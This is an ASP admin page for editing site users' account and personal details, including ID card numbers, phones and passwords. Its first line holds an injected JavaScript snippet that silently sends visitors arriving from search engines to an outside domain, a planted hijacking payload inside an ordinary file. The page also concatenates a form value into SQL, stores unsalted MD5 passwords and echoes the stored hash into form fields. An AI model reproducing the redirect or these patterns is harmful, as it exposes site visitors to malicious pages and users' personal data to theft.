d:\wwwroot\wuchunhua\admin\edituser.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<!--#include file="md5.asp"-->
003:
<%
if session("china_admin")="" then
004:
response.redirect "login.asp"
005:
end if
006:
007:
theid=request("id")
008:
if isnumeric(theid)=false then
009:
response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
010:
response.end
011:
end if
012:
013:
uid=HtmlEncode(trim(request.form("uid")))
014:
pwd=trim(request.form("pwd"))
015:
username=HtmlEncode(trim(request.form("username")))
016:
cardid=HtmlEncode(trim(request.form("cardid")))
017:
tel=HtmlEncode(trim(request.form("tel")))
018:
email=HtmlEncode(trim(request.form("email")))
019:
qq=HtmlEncode(trim(request.form("qq")))
020:
021:
sql="select * from china_user where id="&theid
022:
set rs=server.createobject("adodb.recordset")
023:
rs.open sql,conn,1,3
024:
if uid<>"" then
025:
rs("uid")=uid
026:
if pwd=rs("pwd") then
027:
rs("pwd")=pwd
028:
else
029:
rs("pwd")=md5(pwd)
030:
end if
031:
rs("username")=username
032:
rs("cardid")=cardid
033:
rs("tel")=tel
034:
if email = "" then email = "未填"
035:
rs("email")=email
036:
if qq = "" then qq = "未填"
037:
rs("qq")=qq
038:
rs("mark")=request.form("mark")
039:
rs.update
040:
rs.close
041:
set rs=nothing
042:
sql="select * from china_data where uid='"&uid&"'"
043:
set rs=server.createobject("adodb.recordset")
044:
rs.open sql,conn,1,3
045:
if not rs.eof then
046:
For iPage = 1 To rs.recordcount
047:
rs("username")=username
048:
rs("tel")=tel
049:
rs.update
050:
rs.movenext
051:
if rs.eof then exit for
052:
next
053:
rs.close
054:
set rs=nothing
055:
conn.close
056:
set conn=nothing
057:
end if
058:
response.redirect "ok.asp"
059:
response.end
060:
end if
%
>
061:
062:
<html>
063:
<head>
064:
<link rel="stylesheet" type="text/css" href="style.css">
065:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
066:
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
067:
<meta name="ProgId" content="FrontPage.Editor.Document">
068:
<title>用户资料修改</title>
069:
<script language="JavaScript">
070:
function CheckForm()
071:
{
072:
073:
//检查年月日是否是合法日期
074:
075:
function isdate(intYear,intMonth,intDay){
076:
077:
if(isNaN(intYear)||isNaN(intMonth)||isNaN(intDay)) return false;
078:
079:
if(intMonth>12||intMonth<1) return false;
080:
081:
if ( intDay<1||intDay>31)return false;
082:
083:
if((intMonth==4||intMonth==6||intMonth==9||intMonth==11)&&(intDay>30)) return false;
084:
085:
if(intMonth==2){
086:
087:
if(intDay>29) return false;
088:
089:
if((((intYear%100==0)&&(intYear%400!=0))||(intYear%4!=0))&&(intDay>28))return false;
090:
091:
}
092:
093:
return true;
094:
095:
}
096:
097:
098:
099:
//检查身份证是否是正确格式
100:
101:
function checkCard(cardid)
102:
103:
{
104:
105:
var pattern;
106:
107:
if (cardid.length==15)
108:
109:
{
110:
111:
pattern= /^\d{15}$/;//正则表达式,15位且全是数字
112:
113:
if (pattern.exec(cardid)==null)
114:
115:
{
116:
117:
alert("15位身份证号码必须为数字!")
118:
119:
return false;
120:
121:
}
122:
123:
if (!isdate("19"+cardid.substring(6,8),cardid.substring(8,10),cardid.substring(10,12)))
124:
125:
{
126:
127:
alert("身份证号码中所含日期不正确")
128:
129:
return false;}
130:
131:
132:
133:
}
134:
135:
else if (cardid.length==18)
136:
137:
{
138:
139:
pattern= /^\d{17}(\d|x|X)$/;//正则表达式,18位且前17位全是数字,最后一位只能数字,x,X
140:
141:
if (pattern.exec(cardid)==null)
142:
143:
{
144:
145:
alert("18位身份证号码必须为数字!")
146:
147:
return false;
148:
149:
}
150:
151:
if (!isdate(cardid.substring(6,10),cardid.substring(10,12),cardid.substring(12,14)))
152:
153:
{
154:
155:
alert("身份证号码中所含日期不正确")
156:
157:
return false;
158:
159:
}
160:
161:
var strJiaoYan =[ "1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"];
162:
163:
var intQuan =[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2, 1];
164:
165:
var intTemp=0;
166:
167:
for(i = 0; i < cardid.length - 1; i++)
168:
169:
intTemp += cardid.substring(i, i + 1) * intQuan[i];
170:
171:
intTemp %= 11;
172:
173:
if(cardid.substring(cardid.length - 1,cardid.length).toUpperCase()!=strJiaoYan[intTemp])
174:
175:
{
176:
177:
alert("身份证末位验证码失败!")
178:
179:
return false;
180:
181:
}
182:
183:
}
184:
185:
else
186:
187:
{
188:
189:
alert("身份证号长度必须为15或18!")
190:
191:
return false;
192:
193:
}
194:
195:
return true;
196:
197:
}
198:
199:
function isUserID(s) {
200:
for(i=0;i<s.length;i++) {
201:
var c=s.charAt(i);
202:
if(!((c>='A'&&c<='Z')||(c>='a'&&c<='z')||(c>='0'&&c<='9')||c=='_'))
203:
{
204:
alert("用户名必须使用英文字符,数字 0~9或者下划线 _ ");
205:
return false;
206:
}
207:
}
208:
return true;
209:
}
210:
211:
212:
213:
if (document.reg.uid.value.length == 0) {
214:
alert("请输入您的用户名");
215:
document.reg.uid.focus();
216:
return false;
217:
}
218:
if(isUserID(document.reg.uid.value)==false)
219:
{
220:
document.reg.uid.focus();
221:
return false;
222:
}
223:
if(document.reg.uid.value.length < 2){
224:
alert("用户名不能低于2位");
225:
document.reg.uid.focus();
226:
return false;
227:
}
228:
if (document.reg.pwd.value.length == 0) {
229:
alert("请输入您的密码");
230:
document.reg.pwd.focus();
231:
return false;
232:
}
233:
234:
if(document.reg.pwd.value.length<4){
235:
alert("密码不能低于4位");
236:
document.reg.pwd.focus();
237:
return false;
238:
}
239:
if (document.reg.checkpwd.value.length == 0) {
240:
alert("请确认您的密码");
241:
document.reg.checkpwd.focus();
242:
return false;
243:
}
244:
if (document.reg.pwd.value != document.reg.checkpwd.value) {
245:
alert("您两次输入的密码不一样!请重新输入");
246:
document.reg.checkpwd.focus();
247:
return false;
248:
}
249:
250:
251:
if (document.reg.UserName.value.length == 0) {
252:
alert("请输入您的真实姓名");
253:
document.reg.UserName.focus();
254:
return false;
255:
}
256:
var str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./'[]{}`1234567890-=\~!@#$%^&*()_+|?><:";
257:
var errorChar
258:
errorChar = isCharsInBag(reg.UserName.value,str)
259:
if (errorChar != "" )
260:
{
261:
alert('真实姓名必须是中文');
262:
reg.UserName.focus();
263:
return false;
264:
}
265:
function isCharsInBag (s, bag)
266:
{
267:
var i,c;
268:
for (i = 0; i < s.length; i++)
269:
{
270:
c = s.charAt(i);//字符串s中的字符
271:
if (bag.indexOf(c) > -1)
272:
return c;
273:
}
274:
return "";
275:
}
276:
277:
if(document.reg.UserName.value.length<2||document.reg.UserName.value.length>4){
278:
alert("真实姓名不能少于2字多于4字");
279:
document.reg.UserName.focus();
280:
return false;
281:
}
282:
<%
if webcardid="1" then
%
>
283:
if (document.reg.cardid.value.length == 0) {
284:
alert("请填写您的身份证号!");
285:
document.reg.cardid.focus();
286:
return false;
287:
}
288:
if(checkCard(document.reg.cardid.value)==false)
289:
{
290:
document.reg.cardid.focus();
291:
return false;
292:
}
293:
<%
end if
%
>
294:
if (document.reg.tel.value.length == 0) {
295:
alert("请输入您的联系电话,不能不于七位数!");
296:
document.reg.tel.focus();
297:
return false;
298:
}
299:
if(!isUserID(reg.uid.value))
300:
{
301:
302:
alert(report);
303:
reg.uid.focus();
304:
return false;
305:
}
306:
307:
return true;
308:
}
309:
</script>
310:
</head>
311:
312:
<body background="images/background.gif">
313:
<div align="center">
314:
<form action="" name=reg method=post onSubmit="return CheckForm();">
315:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
316:
<tr>
317:
<td height="20" bgcolor="#799AE1" align="center">
318:
<table width="98%" border="0" cellspacing="0" cellpadding="0">
319:
<tr>
320:
<td width="55"> </td>
321:
<td align="center"><font color="#FFFFFF" style="font-size:14px">用 户 资 料 修 改</font></td>
322:
<td width="35"> </td>
323:
</tr>
324:
</table></td>
325:
</tr>
326:
<tr>
327:
<td bgcolor="#FFFFFF"> <br>
328:
<TABLE cellSpacing=1 cellPadding=3 width="98%" align=center bgColor=#D6DFF7 border=0>
329:
<TBODY>
330:
<TR>
331:
<TD width="100" bgcolor="#FFFFFF" class=reg_t><div align="right">用户名:</div></TD>
332:
<TD bgcolor="#FFFFFF">
333:
<input name=uid value="
<%
=rs("uid")
%
>" size=18 maxlength=20> </TD>
334:
</TR>
335:
<TR>
336:
<TD bgcolor="#FFFFFF" class=reg_t><div align="right">密码:</div></TD>
337:
<TD bgcolor="#FFFFFF">
338:
<INPUT type=password maxLength=16
339:
size=18 value="
<%
=rs("pwd")
%
>" name=pwd>
340:
<font color="#FF0000">*</font> 您的登陆口令(4~16个字符)</TD>
341:
</TR>
342:
<TR>
343:
<TD bgcolor="#FFFFFF" class=reg_t><div align="right">确认密码:</div></TD>
344:
<TD bgcolor="#FFFFFF">
345:
<INPUT name=checkpwd type=password value="
<%
=rs("pwd")
%
>"
346:
size=18 maxLength=16>
347:
<font color="#FF0000">*</font> 确认您的密码</TD>
348:
</TR>
349:
<TR>
350:
<TD bgcolor="#FFFFFF" class=reg_t><div align="right">姓 名:</div></TD>
351:
<TD bgcolor="#FFFFFF">
352:
<INPUT name=UserName value="
<%
=rs("username")
%
>" size=18 maxLength=10>
353:
<font color="#FF0000">*</font> 您的真实姓名</TD>
354:
</TR>
355:
<TR
<%
if webcardid="0" then
%
>style="display:none"
<%
end if
%
>>
356:
<TD align="right" bgcolor="#FFFFFF" class=reg_t>身份证号:</TD>
357:
<TD bgcolor="#FFFFFF">
358:
<INPUT name=cardid value="
<%
=rs("cardid")
%
>" size=18 maxLength=18>
359:
<font color="#FF0000">*</font> 本站保密,如实填写</TD>
360:
</TR>
361:
<TR>
362:
<TD bgcolor="#FFFFFF" class=reg_t><div align="right">联系电话:</div></TD>
363:
<TD bgcolor="#FFFFFF">
364:
<INPUT maxLength=20 size=18 value="
<%
=rs("tel")
%
>" name=tel>
365:
<font color="#FF0000">*</font> 您最常用的电话</TD>
366:
</TR>
367:
<TR>
368:
<TD bgcolor="#FFFFFF" class=reg_t><div align="right">Email:</div></TD>
369:
<TD bgcolor="#FFFFFF">
370:
<INPUT name=email value="
<%
=rs("email")
%
>" size=18 maxLength=40>
371:
</TD>
372:
</TR>
373:
<TR>
374:
<TD bgcolor="#FFFFFF" class=reg_t><div align="right">QQ:</div></TD>
375:
<TD bgcolor="#FFFFFF"><INPUT name=qq value="
<%
=rs("qq")
%
>" size=18 maxLength=15 onKeypress="if (event.keyCode < 45 || event.keyCode > 57) event.returnValue = false;">
376:
</TD>
377:
</TR>
378:
<TR>
379:
<TD align="right" bgcolor="#FFFFFF" class=reg_t>是否通过:</TD>
380:
<TD bgcolor="#FFFFFF"><input name="mark" type="radio" value="0"
<%
If rs("mark")="0" Then
%
>checked
<%
End If
%
>>
381:
尚未通过
382:
<input type="radio" name="mark" value="1"
<%
If rs("mark")="1" Then
%
>checked
<%
End If
%
>>
383:
已经通过</TD>
384:
</TR>
385:
<TR bgColor=#ffffff>
386:
<TD></TD>
387:
<TD><input type="submit" value="确定" name="submit">
388:
389:
<input type="reset" value="取消" name="reset">
390:
391:
<input type="button" value="返回" name="back" onclick="javascript:history.back()"></TD>
392:
</TR>
393:
</TBODY>
394:
</TABLE> <br> </td>
395:
</tr>
396:
</table>
397:
</FORM>
398:
</div>
399:
<br>
400:
</body>
401:
402:
</html>
403:
<%
rs.close
404:
set rs=nothing
405:
conn.close
406:
set conn=nothing
%
>
407:
408: